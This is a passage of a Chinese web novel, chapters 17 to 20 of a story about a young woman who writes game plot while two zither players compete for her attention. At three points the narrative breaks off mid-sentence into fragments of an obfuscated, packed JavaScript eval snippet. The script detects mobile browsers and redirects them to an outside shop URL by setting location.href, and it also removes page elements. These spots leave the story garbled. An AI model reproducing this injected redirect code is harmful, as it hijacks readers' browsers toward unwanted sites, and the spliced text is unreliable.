【恭喜玩家完成主线第二章第一幕!请前往任务界面领取奖励!】 郁离枝手指微顿,居然过了? 魔改成这样,男主心境偏离成这样,居然也算是成功过剧情了? 她还以为这次铁定失败了呢。 虽然这次剧情是过了,可是以后的剧情要怎么写呢?以男主现在的心境,她能过稿吗?如果不能她要怎么修复? 郁离枝这样想着,肌肉记忆地打开任务界面。刚领了400结晶奖励,全息屏幕上一个电子音便响起: 【今日绮缘之晶即将扣除!您目前的绮缘之晶账户余额:3060!扣除后余额:2960!】 原来已经到了这个时间了,郁离枝一下泄了气。 那就明日愁来明日愁吧。郁离枝这么劝说着自己,吹熄了书桌上的烛火。 翌日,郁离枝早早醒来,跟晦暗的帷帐顶大眼瞪小眼。 想了一会,她面无表情翻开黑色笔记本,郑重其事敲系统: “我想问一下,因为我的剧情出现了状况之外的情况,不确定主要角色是否可以继续走剧情。所以,请问重要主角状态异常的判定是怎样的呢?” 系统界面跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而今天要传唤的人,不出所料的就是暮云逸。 单独传唤……? 也就是说至少是近几日,不会再经历像昨夜那样难堪的场面了吗? 暮云逸眼底苦涩。 他甚至不知道这是好事还是坏事。 新官上任从来都是三把火,男女之情也从来都是喜新厌旧。 这几日不出所料的话……离枝姑娘应该会叫陵公子吧? 毕竟是新相中的有新鲜感的琴师,而他已经到府上有些时日了。 只是不知道离枝姑娘跟陵公子如果日渐走近,加上陵公子能说会道的口才,假以时日,还会有他的位置吗? 暮云逸坐于空旷院落中,眼神黯淡,手上抚琴动作越发心不在焉。他叹了口气,正想收琴回房。 “暮公子……?”一侍女轻声敲门,门被一阵风忽地吹开了。 “暮公子!”侍女见人正站在院内,忙恭敬低头,声音略有慌张,“小姐吩咐了,今日是暮公子您去……去内厅与小姐共进晚餐。” 又一阵风起,卷得树上树叶沙沙。 暮云逸几乎以为自己听错了。 “今日……是我?” 侍女怯生生点头,不敢多言。 暮云逸眼底闪过一丝愕然,随之交杂而起的却是更多复杂难言的情绪——货真价实的困惑,还有一丝丝隐秘且被强压在心底的,连他自己都羞于宣之于口的惊喜。 18. 雄竞扯头花(三) 内厅内灯光暖黄,映照在院落的铁树叶上,明亮的浓绿纤毫毕现,可背光的另一侧树叶却隐在黑暗之中。 暮云逸站在门外,同样隐在冷寂的暗夜里,足下久久未曾挪动。 今日湿冷,暮云逸从住处一路走来,薄衣上已沾了些水汽,时不时碰在手腕和脚踝处,带来一片凉意。 终于,暮云逸仿佛是下定了什么决心,红漆木门“吱呀”一声被推开来,他抬脚走进了内厅。 郁离枝已在座上,端坐等着青衣男子。 暮云逸此前从未迟到过,是以她几乎以为暮云逸今天不会来了。 可如今郁离枝却在丝毫未听见脚步声的情况下,一抬眼骤然看见了她那个神色不自然低着头走进来的男主。 “暮公子。”来了就好。郁离枝温声迎了上去。 “离枝姑娘……好。”暮云逸眼神只在郁离枝脸上轻轻一略便躲闪开来。 郁离枝看向对面身着轻薄衣衫的男子,视线移到衣衫袖口上被水雾打湿的不明显洇痕,顿了一下,随即唤来侍女: “去取个手炉来。” 暮云逸身形微动,目色微愕。 侍女着急地跑了进来,恭敬递与郁离枝一只做工精巧的手炉。 郁离枝将手炉塞到暮云逸手中:“暮公子别站着了,快来坐。”随即走向饭桌,将一碟螃蟹推至暮云逸碗筷旁,“这是刚从南溟运来的新鲜螃蟹,暮公子快来尝尝。” 暮云逸被郁离枝半推着稀里糊涂地上了桌,愣愣地盯着被郁离枝推到眼前的熟红色螃蟹,面色已从全然的回避,变成无所防备的、云销雨霁的怔愣。 他张了张嘴,有心想问问关于昨夜带来的那公子之事,可又不知道该如何开口。 为何你好像什么都没有发生过一样? 还是说你觉得就应该是这样,我也不过是你收留的琴师中的一个,根本没有什么特殊? 可是如今的我又有什么资格去置喙你的决定呢?又是以什么立场? 如果我问了……万一你回答的,是我不想听到的答案,那我要怎么办? 暮云逸低头,心里被细细密密的胀痛堵得发慌。 郁离枝将暮云逸的回避尽收眼底。可她向来秉承敌不动我不动的理念,暮云逸不提出来她也就浑当多一事不如少一事。 席间,暮云逸异常少语。 郁离枝此人向来不强求什么人,耳边清净索性直接开始构思接下来的剧情了。 两人一顿饭吃得各怀鬼胎。 饭毕,郁离枝心思已明显不在此处。暮云逸似乎也如有所感,终于在郁离枝即将起身离席之际,还是忍不住道出了埋于心底的那个问题: “离枝姑娘……今夜,可还去别处?” 声音低得几乎听不见,却让郁离枝动作一顿。 她看向他——暮云逸低着头,手指下意识攥着袖口,指腹无意识地摩挲着已经被手炉烤干的那块布料。 这是怕她去找陵镜听?还是……只是想知道自己此后安排? “暮公子想问什么?”郁离枝不答反问,语气温婉和缓,不着痕迹地将问题踢给了对方。 暮云逸身形一顿。 他想问什么?他自己也说不清楚。是想知道她会不会去找陵镜听?还是想确认自己在她心中的位置? 可这些话,如何能说出口? “无、无事……”暮云逸垂下眼,起身欲离席。 郁离枝看着暮云逸几乎说得上是仓皇的背影,突然开口: “暮公子。” 暮云逸停住,缓缓转过头。 “离枝今夜……哪也不去,就在书房看书习字。暮公子可有什么安排?” 郁离枝坦然直视着面前的暮云逸,认真道。 暮云逸眼神微动,几息之后,仍只是简短道别推辞几句,转身离开了内厅。 送走暮云逸后,郁离枝兀自在内厅喝茶坐了一会,正要回房休憩,院门却“嘭”地一声被打开。 “阿离!好啊你,你还真把镜听带回府了啊!” 我道是谁,原来是来去如风的郁无玦。 “阿离你把他安置在哪了?快快快,带我去见见他!”郁无玦二话不说,扯了郁离枝就要往外走。 真是怕什么就来什么。 郁离枝无意跟郁无玦废话,一旁的侍卫楚岚山见势不好,上前要去劝郁无玦,郁无玦于是顺杆爬地换了目标改扯上了楚岚山手臂。 “哎!岚山还是你厚道,快告诉我阿离把镜听藏哪去了,鸟悄的背着我这个哥哥……” 楚岚山被扯着但又不好开口,面露难色。 郁离枝叹了口气,估摸着这段时间暮云逸应该已经走远了,干脆先含糊应了,转头悄声吩咐下人去看看暮云逸回去了没有,不要让他走动。 下人不一会回了来,也悄声禀报。 那这事可不能怪我了。郁离枝被郁无玦一路拉着,边拌嘴边扯皮地来了陵镜听住处的院门外。 房间里灯光点点,陵镜听似在对镜梳妆。 “镜听!” 郁无玦一嗓子过去,屋内男子似乎微微叹了口气,放下手中木梳无奈起身。 “无玦。” 陵镜听外穿一件轻纱衣,看上去比之第一次见面要瘦削很多,缓缓地向郁无玦走来。 他正欲开口,忽然看到了跟在郁无玦身后的郁离枝。 陵镜听足下停住,下意识伸手挽了下敞开的领口,遮住脖颈处的雪色肌肤。 “镜听,你真不够意思。怎的我上次邀你来府上做客,你那叫一个百般推辞,如今阿离叫你来,你就答应了?” 还有此事? 陵镜听维持着温润笑意朝着郁无玦,看似人畜无害,实则暗中飞出去一个嘴刀。 “嗯?此种陈年旧事镜听早都忘了,无玦记性可真好……但这事可怪不得镜听,要怪也只能怪离枝姑娘的盛情邀约了……” 他笑得暧昧,故意把郁离枝的相邀说得像某种甜蜜的忧愁,顾左右而言他地模糊回答道。 郁无玦却已经两步闪进了陵镜听房内,开始对着书房内一众摆设评头论足。 一会指着地上盆栽翠景质问下人怎么打理得这样不精细,说要把自己房里的移来。 一会又指着房内挂画问郁离枝这都是几年前的画了,让她找点时新的名声大噪的书画来。 郁离枝和陵镜听站在一旁交接了一个眼神,只得苦笑。 郁无玦在房里各个角度四处闪现,然后又突然移到陵镜听跟前,煞有介事地打量: “镜听,你怎得在阿离面前乖得跟个鹌鹑一样了?啧啧啧……” 陵镜听仍是笑得春风拂面,和煦盎然,可郁离枝却无端觉得此人有些皮笑肉不笑。 “别别别,我开玩笑的……你大人不记小人过……哎对了!阿离,明日我跟你一起来内厅吃吧!伯父伯母回来后我一举一动他们都知道,弄得我浑身都不自在……”郁无玦没个正形,又开始求郁离枝,“阿离,早知当初我选地方就选到你这附近了,真真清净没人扰,悔不当初,悔不当初啊……” “可以。”郁离枝直截了当地答了。 正好她写剧情!接下来该轮到陵镜听了! “离枝姑娘既然都这么说了,那镜听也不推辞了。”陵镜听羞赧垂首道。 郁无玦又颇为见不惯地嘘几声,跑出去几步后嘴里说着:“有了美人,就忘了兄弟咯……唉,世风日下,世风日下啊!” 说着见后者粉面含笑却有愠色,忙不迭一溜烟跑了。 留下郁离枝与陵镜听二人。 陵镜听又拢了拢衣袖,微微敛眸道:“若早知离枝姑娘会来,镜听就事先梳妆一番了……让离枝姑娘看到镜听衣衫不整的样子,实在是惭愧……” 郁离枝淡然一笑,从容回道:“陵公子生得如此花容月貌,离枝又岂会嫌弃?” 说着俯身至一旁的翠色盆景,果见其边缘枝叶有几片略有枯黄,遂喊来下人将其搬出去换一盆新的进来。 陵镜听在一边柔声道谢。 又简单寒暄几句,郁离枝回了书房。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 【恭喜玩家完成主线第二章第二幕!请前往任务界面领取奖励!】 郁离枝手指微顿。怎么回事? 她怎么好似开了简单模式?已经没有任何bug来搅她的路了吗? 简单地郁离枝自己都不敢相信。 第二天午后,郁离枝又一次干脆过稿之后,这种疑虑愈发加深了。 一切还要得益于郁离枝几柱香前一个灵光一闪的想法。 她本想下笔推进剧情,可写着写着,她那便宜老哥郁无玦的脸就会猛然从脑海里跳出来,开始干扰她的思路。 ……这顿饭如果有郁无玦在场,恐怕是不怎么能安生走剧情的。 那要不然干脆给他发卖到伯父伯母那边去吧。这是可是跟恋爱剧情相关的设定哎,系统应该能够批准吧? 对不住了老哥,不好意思,妹妹也是迫不得已,谁让你阻碍了我的剧情呢? 郁离枝邪笑着下笔,没想到居然真的丝滑地过了稿。 落日西沉,余晖洒在庭院的银杏树上,一寸寸下移。 郁无玦嗷一嗓子,穿透房壁,给四邻都震了两震。 “伯父要检查习作?!老天爷啊,我都几朝年没碰那玩意儿了!哎……阿嫣姐就不能一直在外面研学吗?或者朝堂那些人快点少点偏见看出阿嫣姐的本事,赶快请阿嫣姐入朝为官算了,不然带回伯父来我也不得安生呜呜呜……” 说着一边哭惨一边收拾收拾裹了几本翻都没翻过的史书赶去了伯父那边。 郁?始作俑者?真正的幕后大boss?离枝此刻正安然坐于内厅,在斑驳花灯下呷一杯花茶。 岁月静好啊岁月静好。 目光一移,一花美男敛眸抚琴近了眼前。 花美男粉面含羞带怯道:“离枝姑娘好,无玦还未到?” 郁离枝坦然:“哥哥他刚刚派人来告知了离枝,伯父突然抽查他的习作进度,恐是抽不开身前来了。陵公子不必拘束,今夜就我们二人。” 陵镜听故作讶异地惋惜道:“真可惜……” 而后又状似懵懂地关切询问:“令伯父还真是严厉……为何突然就抽查了?离枝姑娘呢?镜听有些担心,离枝姑娘是否也会被那样苛责要求?” 郁离枝实话实说:“离枝不碍事,伯父不怎么离枝。至于哥哥……”郁离枝回忆了一下下人的禀报,如实告知,“似乎是桌上空白的习作被人翻开,今日正巧被伯父撞见了?具体不清楚。” 陵镜听笑意愈深,点点头:“原来如此。” 这可不怪他,谁让郁无玦今天白天突然邀他,他又突然得知郁家伯父要来见郁无玦,又让他突然看到那本空白的习作呢。 郁离枝不觉有异,神色如常地将陵镜听的琴小心置于一旁桌案之上,携了陵镜听来吃饭。 两人相对而坐,内厅气氛比之前几日要明快不少。 至少表面上是这样。 郁离枝伸了几筷,看向对面食相优雅端庄的陵镜听,不觉将刚见到此人时就有的疑问问了出来: “陵公子姓陵,可是自那无为山上下来的,无为陵氏族人?” 陵镜听闻言,嘴角抿起一抹浅笑,似乎早就预料到郁离枝会问这个。 “离枝姑娘见多识广又敏锐,但是,是也不是。” “是也不是?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233066|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我虽确实自无为山而来,但却不是有着陵氏血脉的族人,此事还要说到十几年之前。” 郁离枝听见对面男子这么一说,心里也已经猜到了三分。 “离枝姑娘应该知晓,无为陵氏以道学著称,山上庙宇连绵,人们心思纯善。”陵镜听抿一口清茶,缓缓道。 郁离枝点点头,她先前看到的史书上也是这么写的。 “镜听本是……周边安芜与无为交接之处普通农户家之子,镜听出生之时几年天逢大旱,于是镜听便成了孤儿,被同样贫苦的村民们丢到了无为山脚下。” 郁离枝哑然,虽然猜到了,但听到陵镜听这样若无其事地说出来,仍是觉得心里不是滋味。 “那夜恰好是除夕,又恰逢我的养母下山回乡,于是遇见了哭得特别大声的我。”陵镜听笑笑,自顾自说着。 “母亲是陵氏之女,早已断绝世俗红尘,但见我可怜,仍是带了回去,并为我取名''镜听''。”陵镜听敛眸看向杯中轻晃的茶水,似在追忆。 “离枝没想到,陵公子竟然还有这样的过往……”郁离枝微微握紧手中茶杯,刚才还松快的内厅气氛此时也凝滞了不少。 陵镜听闻言,却是一笑。 “不妨事,都过去了。若是镜听这些经历,能搏美人片刻垂怜,那也是值的。” 郁离枝不知该如何作答,只静静看着对面的白衣公子不做声。 陵镜听话语里说的是想要她的垂怜,可郁离枝无端觉得,怜惜一词放在陵镜听身上太轻太草率了。 他不是那种需要她怜惜的人。 “离枝姑娘可是想问镜听为何会下山?无妨,离枝姑娘想问就问,镜听没有那么脆弱。若当真如此脆弱,恐怕也就没办法下山了。”陵镜听淡声,“陵氏是很好的,无为也很好。可是镜听终是凡人之子,有凡人之心。” 郁离枝点点头,可能每一个从无为山上下来的僧人,多多少少都会有这样的想法吧。 “镜听自幼在寺庙长大,只是可惜镜听却未受多少陵氏思想的浸染。”陵镜听抬眼,对着郁离枝和煦一笑,“现在想来,许是母亲故意不曾让我接触和恪守那些吧。不论如何,我也都下山了。” 察觉到内厅凝滞气氛,陵镜听干笑一声,起身拾了琴: “镜听前夜还许诺了离枝姑娘,这承诺到现在也还是作数的。”陵镜听修长指节轻轻抚琴,“离枝姑娘想听什么呢?” 郁离枝想了一会,开口: “说起来,离枝还从没有听过无为那边的曲子呢,不知陵公子可否愿意赏脸为离枝演奏一曲?” 这倒是真心实意,无为山离尘川太远了,在尘川几乎听不到什么关于无为的消息情报,但郁离枝又止不住好奇。 陵镜听闻言,却是哑然失笑,又重复确认了一遍:“离枝姑娘确定……?无为山上的曲子,无非就是些经曲,离枝姑娘真要听?” 郁离枝郑重其事点头。 “镜听的直觉果然未错,离枝姑娘果然不同于凡俗之人。离枝姑娘想听,镜听自然不遗余力倾情演奏。” 说着,一曲音调略显一成不变的曲子自指尖倾泻而下。 恍若深山密林,庭前空雨。几声夹杂其中的惊变之音,又好似庙堂间被惊起的燕雀。 对别人来说可能过于枯燥了,但对郁离枝来说刚刚好。 郁离枝颇为认真地端坐听着,直至曲毕。 一曲终了,连陵镜听似乎也陷入了空远的回忆,过了几息才微微抬首,以柳叶星眸望着郁离枝。 郁离枝欣赏完了真人现场音乐会,已然心满意足,有离席之意。 陵镜听目光在郁离枝脸上停留几息,终是无声地叹了口气。 “离枝姑娘,再见。祝你有一个美好的夜晚、美好的明天。” “陵公子也是。”郁离枝颔首,出了门去,兀自走向郁府内迷蒙的夜。 同样迷蒙的夜色里,一处清冷庭院里,一青衣男子仰头望星。 繁星点点,倔强而明确地闪烁着。 暮云逸于这庭院中,等了一整个过午,又等了半宿漆夜。 终是没能等来侍女开门的那一声。 也是。离枝姑娘说过昨夜不会去找那位新的公子,可今时又不是昨日。 昨日的承诺也只在昨日有效。 星星啊,你看到那个郁府中温婉美丽的女子了吗?她是否在内厅里,在满屋花灯之下,在对着另一个公子笑呢? 星星闪了闪,这是“是”还是“不是”呢? 可有一个声音却冲破一切顾及、一切卑微、一切嫉妒,自心底如破土而出般不管不顾地生发出来: 你甘心吗? 你甘心什么都不做,甘心别人分走她对你的爱,甚至甘心,她被别人抢走? 暮云逸微微垂下头,不去看那漫天的星。 手指却好似下定了什么决心一般地微蜷,慢慢收紧,最后到再也无法用力的程度。 郁离枝在那满天星斗的夜幕下走了一会,行至书房。 她打开那本黑色笔记本。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 【恭喜玩家完成主线第二章第三幕!请前往任务界面领取奖励!】 一切都在如预料一般地发展着。 郁离枝随手收取了海量结晶,看着已经甩了贫困线和温饱线几条街的绮缘之晶账户余额,油然而生一种满足感。 她觉得自己简直是一路开挂。 她目前的两个主角,其中一个已经安抚好了,另一个也已了解好了。 角色都已经登台,道具也已经齐备,该是到开演的时刻了吧? 郁离枝看向全息界面,脸上浮现出一个胜券在握的微笑。 19. 雄竞扯头花(四) “暮公子。”侍女在院落门外遥遥喊道。 庭院内站着的清俊男子身形一顿,匆匆抬脚前去开门。途经的院落小径上,一片被踩到边缘的黄色枯叶发出细微声响。 “小姐吩咐,今夜是暮公子去内厅。” “好,我明白了。”暮云逸得了准信,颔首道。 “镜听明白了,镜听不会辜负离枝姑娘的厚爱的。”郁府另一端被敲开的院门前,一白衣公子对着同样刚刚传过话的侍女道。 侍女不敢多言,传完话便退下了。 夜色染上天边,清净院落内一已经被踩成细碎片渣状的黄叶旁,又一片完好的黄叶自枝头徐徐飘落。 暮云逸房内,罕见地亮了好几盏灯,将几个房间照得灯火通明。 屋内床上,有些散乱地摆着几套衣物。灯光下,暮云逸不太熟稔地站在衣镜前试衣。 先前下人送来了各色衣服,上至跟郁氏家服奢靡程度差不多的华服,下至清雅有余华丽不足的文人墨客样式衣衫,应有尽有。暮云逸本不太在意这些事,平日只穿自己随行的衣物,偶尔也会穿些郁离枝送来的制式朴素的衣服。 今日本也想就这样出门,可他眼前却突然闪过几日前见过的那身着一身飘渺白衣的玉面公子。 离枝姑娘不仅与他言笑晏晏,眼睛放在陵镜听身上的时间感觉也……比在自己身上长。 他有什么理由怪离枝姑娘呢?爱美之心人皆有之。 暮云逸看向铺在床上的几套轻薄衣衫,制式俱是正式的世家公子或文人墨客装。 只是,还有一件。暮云逸将目光移到此件衣服上。 这衣服外层是纱衣,里面却是细密的素雅墨色衣料。初看有种若隐若现之感,乍一看仿佛是什么不正经的衣服,细看了却能明白仍是是制式正规的衣物。 ……这也是经了离枝姑娘之手的衣服吗? 暮云逸耳根泛起粉色,下意识伸手向那件纱制衫衣。 离枝姑娘昨日召见的是陵镜听,不知他穿的是何种服饰呢?陵镜听貌美至此,离枝姑娘今日再来见他,会不会觉得过于寡淡了? 暮云逸如此想着,手指距那纱衣仅有一寸。可就在这时,他的手指却顿了一顿,而后猝然收回。 ……还是太超过了。 暮云逸大口呼吸几下,攫取氧气微微平复了一下已然泛红的面色。 他终是择了另一件清雅规整的青衫,只看了一眼这件放在床上的纱衣,便抱琴出了门去。 天色明晦交接。若说暮云逸出门时还能见些暮色天光,等到行至内厅院落门前,天光已完全被墨色吞噬。 新的衣裳略长了些,穿在他身上略有不便。暮云逸轻挽袖口,停在内厅院门前。 内厅内已燃起灯火。暮云逸抬手,正欲推门。 门内却传来几声低低的言语交谈之声,还夹杂着几声女子轻笑之声。 暮云逸一只脚已迈入院子,闻声抬起头。 门开了。 内厅里坐着的人,果然是陵镜听。 门外传来响动,陵镜听也闻声抬头,见了门前的男子,脸上也是一愣。 “暮公子来了?进来坐。”唯一没有愣住的郁离枝站起身,轻声招呼着那门外新来的男子。 不同于二人第一次见面的剑拔弩张,今日,暮云逸却反而先行移开了目光。 “离枝姑娘。” 暮云逸看着迎上来的郁离枝,而后目光不偏不倚地乖顺垂首。 陵镜听也慢慢敛了讶异神色,嘴角挽起一个得体的弧度。 “暮公子好。”陵镜听开口,话语里却是一副不知说给谁听的温柔小意做派。 “陵公子好。”暮云逸也应声问好,被郁离枝领着,目光未偏给陵镜听一寸。 三人于席上落座。 “暮公子今日换了新衣?倒是不多见……”郁离枝边拾筷边寒暄。 郁离枝本是随口一说,可这青衫男子直直望进郁离枝眼睛里,一字一顿: “离枝姑娘,喜欢吗?” “自然是好看的。不日暮公子也试试离枝送去的郁氏家袍,肯定比身上这件穿上去更入眼。”郁离枝夹起一只醉虾随口道。 “暮公子俊朗,想来身着郁氏家袍,依是一段风流倜傥之姿。可惜镜听体态柔弱,徒有艳羡之名。”陵镜听道,句尾却轻叹一声。 “陵公子自然也是好看的,不必妄自菲薄。”听不下去美人幽怨,郁离枝安抚道。 暮云逸握着玉筷的手指微微收紧。 陵镜听却和煦笑着,一口接一口喝着杯中茶水。 郁离枝兀自猛猛炫。 写稿好累!肚子好饿!饭,好吃! 一席上,郁离枝吃了个饭饱,陵镜听吃了个水饱,至于暮云逸…… 郁离枝将目光移到那青衣男子身上,忽而想起了什么。 剧情! 郁离枝轻抿一口茶水漱口,开口道: “今日离枝叫暮公子和陵公子二人来,一是想让你们熟悉一下,二是想让你们二人于琴艺上也互相了解,彼此切磋。时候也不早了,不若暮公子和陵公子二人各抚一曲,如何呢?” “离枝姑娘想听,镜听自然倾情相奉。”陵镜听轻放下茶杯道。 “暮某也……都听离枝姑娘的。”暮云逸道。 “那么谁先来?演奏自己最拿手的曲子便好,不必拘泥。”郁离枝微微扬起下巴看向二人。 “镜听先来吧。镜听后来郁府,不敢居暮公子之上,就先行献丑了。镜听抛砖引玉,望离枝姑娘、暮公子能听得舒心。”说完,先行退居一旁,摆琴弹奏起来。 一曲明朗清音,节奏明快,每一声琴音都被陵镜听处理地半个音色都不差。 循序渐进,引人入胜,让人不禁惊叹于此人精妙的琴艺。 郁离枝听得入了迷,不觉随着曲子音调起伏而轻轻点头。 而坐在一旁的暮云逸,不觉收紧了置于桌下腿上的手指。 能听得出,陵镜听的技艺几乎是放眼整个尘川都无出其右的。 而自己身在暮氏之时整日仍是依家族期望习字作画,琴曲只是母亲闲时教与他的。 他于此道颇有兴趣,家族便派了专门的乐理先生来教他。可纵然如此,跟陵镜听的差别,仍是深谙乐理之人一听便能听出的程度。 而且…… 离枝姑娘一直在看他。 离枝姑娘好像很欣赏他。 暮云逸心上一寸倏地抽痛一下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254650|197231||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他转过头去,定定看着那白衣男子手中的琴。 一曲毕,郁离枝和颜悦色地拊掌称赞:“不愧是陵公子。” “镜听只会卖弄些技艺,离枝姑娘和暮公子不嫌弃就好。”陵镜听收了琴,款步走来。 暮云逸走上前去,摆好了琴。 他低头望着那两根昔日失而复原的莹润琴弦,吸了一口气。 而后手指落下—— 一曲灵动之音倾泻而出,如空山新雨,亦如翠珠落盘,还带着几分缠绵。 竟也是丝毫不输陵镜听。 郁离枝外行人听不出什么门道,只知道很好听,一旁的陵镜听却微微挑起眉。 此人,技巧不足,却决心有余。一曲演奏得好似破釜沉舟。 有意思。 郁离枝却完全状况外。待一曲终了,亦献上毫不吝啬的掌声。 还未等暮云逸说什么,一旁的陵镜听却开口道: “尘川县内竟还有此等人物,镜听佩服。离枝姑娘果然有双伯乐慧眼,真真是镜听从未见过的奇人女子,镜听更是佩服。” 此人实在是妙语连珠,郁离枝招架不住,跟陵镜听左一言右一语地推拉起来。 这晚宴也渐渐到了尾声。屋外夜色更沉了,浓重似墨团。 暮云逸无声无息地回了座位。 郁离枝正跟陵镜听笑面推拉着,忽而一眼瞥见在一旁寂寂无声的暮云逸。 他正看着二人有说有笑聊天,眼神直直白白,表面上是认认真真的追问,又有些湿答答的受伤。 跟他聊很开心?你喜欢这样的吗? 郁离枝脑中拉起警报,嘴比脑子快,适时地下了逐客令。 “时候不早了,陵公子早点回去休息吧。” “好。望离枝姑娘,今夜安稳、好梦。” 陵镜听了然一笑,乖顺地先行一步离开了内厅。 内厅只留下郁离枝与暮云逸二人。 “暮公子。”郁离枝出声。 暮云逸不做声。 “暮公子?”郁离枝面露疑惑,轻声道。 暮云逸只是以眼描摹着郁离枝眉目,忽而轻轻握拳,似乎下了什么决心。 “离枝姑娘,暮某也告退歇息了……” “好。”郁离枝轻轻点头。 “离枝姑娘……” 郁离枝看向对面男子说半句留半句、似乎那话含在嘴里烫嘴的样子。 “嗯?” “离枝姑娘、离枝姑娘……辛苦了。” 郁离枝看着眼前男子憋了半天却只憋出来这样虎头蛇尾的话。 “啊?” 她辛苦什么?辛苦吃了一顿饭又听了个曲? “总之、总之离枝姑娘辛苦了……回去更深露重,离枝姑娘记得添衣。”暮云逸几句话说得磕磕绊绊,竭力吐露着自己素日鲜少说出口的漂亮话。 “希望离枝姑娘今夜能、安享美梦。暮某先回去了。”说完这一句,暮云逸逃也似地走进夜色中,离开了内厅。 只留下满脸莫可名状地疑惑的郁离枝。 他今天是怎么了?怎的措辞怎么奇怪,话语也磕磕巴巴? 郁离枝兀自在内厅想了一会,终是无果,遂抛诸脑后回房了。 20. 雄竞扯头花(五) 已至暮秋,金黄色的银杏叶在树上随风而熠,又打着旋飘落而下,铺就一地浅金。 书房内,郁离枝洗漱毕,端坐于书桌前,翻开黑色笔记本。 【欢迎来到“韵文之庭”!】 【请收取每日登录奖励:绮缘之晶*50!】 今天郁离枝要写,没错,是雄竞扯头花第五幕。 剧情铺垫那么多,该是真刀真枪让这二人竞争一下了吧? 受先前所看的那本武则天话本的影响,郁离枝觉得还是要让二人实实在在比试一下什么才好。 正待落笔—— 外面的院门却突然传来“叩叩”两声。 郁离枝收了笔记本:“进来。” 楚岚山闪身迅速走近,恭敬俯首,将手中拿着的一纸请柬恭敬地呈于郁离枝面前: “小姐,凉山园主送来请帖,邀请小姐参与时年的文人雅集。” 雅集?郁离枝姿态慵懒地微挑眉,伸手以两指夹过了那烫金请柬,随意地翻开来。 “金秋时节,凉山别业亦一副焕新光景。 徽某择于五日后于凉山别业举办本年尘川的清音集,特邀各世家子弟、各知名人士于凉山别业赏景听曲。届时美酒珍馐,诗词歌会亦会一并奉上,望诸君得偿所乐。 凉山主人徽元轩静候” 郁离枝眼睛只一扫,便知这是为这群世家子弟趋附风雅所举办的雅集之事,并无需大惊小怪。 可待郁离枝眼睛又扫了几周,最终停在了请柬纸上的其中三个字上。 在一众词句中,这三个字专门以大字笔法做了醒目强调,甚至书法边缘还以细毛笔勾了浅金色。 “清音集……?”郁离枝凝眸看着请柬,下意识出声。 “回小姐,这本是尘川民间举办的琴曲赛事,近几年被徽氏商贾接手,特在凉山别业举行正赛和决赛。” “尘川,琴曲赛事……?” “正是,此为尘川县域内年度最大的琴曲赛事,亦是最具影响力的。据说是真正艺高者方能取胜,且对所邀观众待遇也十分优厚,小姐若空闲可以一试。” 郁离枝心里有些想法似乎要成型,有些疑惑似乎也要散开。 “此赛事的魁首,可是要获得一个''尘川第一弦''之称?” 楚岚山微顿,道:“正是。” 郁离枝“嘶”一声。 这么说来,陵镜听便是上届清音集魁首? 她正好想要构思一个暮云逸与陵镜听二人同台竞技的场景,那么借此次雅集之手,岂不更方便? 郁离枝一只手无意识摩挲着下颚,不自觉凝眸沉思着。 只是陵镜听既已是魁首,暮云逸此番胜算又有几成? 不过雄竞扯头花……好像也没说一定要男主赢啊? 郁离枝手成拳状,一下子叩落在另一掌上,随着一声清脆声响,郁离枝恍然大悟。 对啊!雄竞扯头花这剧情本身并没有要求一定要谁赢啊! 我是不是发现了什么bug? 楚岚山俯首垂首,默默等着小姐沉思良久,然后忽然听闻一拍手掌的清脆之声,恍若福至心灵。 ……如今他这小姐也是越来越让他摸不着头脑了。 “知道了,退下吧。”郁离枝简单道,已然折回书桌旁要坐下。 楚岚山恭敬应答,足尖轻点,飞速出了门去。 写稿写稿! 感谢大自然馈赠的任务场景!我就毫不客气地收下了! 郁离枝下笔神速,写好了今日稿件,并且提交过稿一气呵成。 距离清音集还有:五天。那么今日的任务便是:将报名要求告知两位参赛选手。 夜色清浅,内厅内花灯摇曳。郁离枝抿了一口清茶,然后放下茶杯开口: “暮公子,陵公子,离枝有一事告知。” 桌上两位公子闻声停下手中动作,皆是端坐。 “何事?镜听洗耳恭听。” “离枝姑娘请讲。” 两派不同风光,一音色清亮,一声色稳沉。 “离枝此后用餐,恐怕也是不值得每晚都大张旗鼓叫来两位绝技琴师的,颇有暴殄天物之嫌。是以……”郁离枝声音轻顿,目光在两俊美公子面上各一轻点,却又一扫过,“想来二位公子是知晓''清音集''的,那么本届的''尘川第一弦'',便是此后可以在这内厅为我献曲的琴师,二位公子意下如何?” 郁离枝神色认真,一字一顿说至“尘川第一弦”时,陵镜听不着痕迹地眉毛轻轻一挑,而暮云逸则将桌下手指收紧几分。 “离枝姑娘要求,镜听自然听从。只是不曾想今时镜听在离枝姑娘府上,本已全心视作好归处,不欲出府参加今年赛事。如今离枝姑娘有此意,镜听自然也……”陵镜听将温润双眼从郁离枝身上转向暮云逸,笑意不减,柳眉弯弯,可此刻却宛如飞出的柳叶弯刀,“……当全力以赴,卫冕魁首。” 暮云逸坐在对面,手指攥成拳,却未接这一挑衅。 